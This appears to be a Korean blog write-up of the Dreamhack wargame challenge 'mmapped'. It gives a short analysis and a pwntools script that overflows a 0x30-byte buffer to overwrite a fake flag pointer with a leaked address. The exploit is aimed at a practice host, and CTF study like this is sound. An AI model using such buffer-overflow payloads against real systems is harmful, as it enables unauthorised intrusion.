level 1. mmapped
https://dreamhack.io/wargame/challenges/870
┌──(kali㉿kali)-[~/Desktop]
└─$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=79055d58c0455768dd0f63ef26a6b94c72666071, for GNU/Linux 3.2.0, not stripped
fake flag 주소 값이 있는 곳(노랑 상자)에 real flag 주소 값(빨간 상자)을 넣어야 함
buf의 크기를 계산하기 위해 0x7fffffffdd0-0x7fffffffdd90 계산
real flag 주소 값을 저장하고 그 값을 fake flag 주소가 저장되는 자리에 덮어줌
from pwn import *
p = remote('host3.dreamhack.games', 21321)
p.recvuntil("real flag address (mmapped address):")
real_flag = int(p.recvline().strip(), 16)
print(real_flag)
payload = b'a'*0x30
payload += p64(real_flag)
p.sendline(payload)
p.interactive()
반응형
'STUDY > Dreamhack' 카테고리의 다른 글
[WEB] DOM XSS (0) | 2024.07.09 |
---|---|
[WEB] Switching Command (0) | 2024.06.23 |
[rev] Summer Fan (level2) (0) | 2024.06.15 |
[web] Dream Gallery (level2) (1) | 2024.06.14 |
[rev] ez_rev (0) | 2024.04.22 |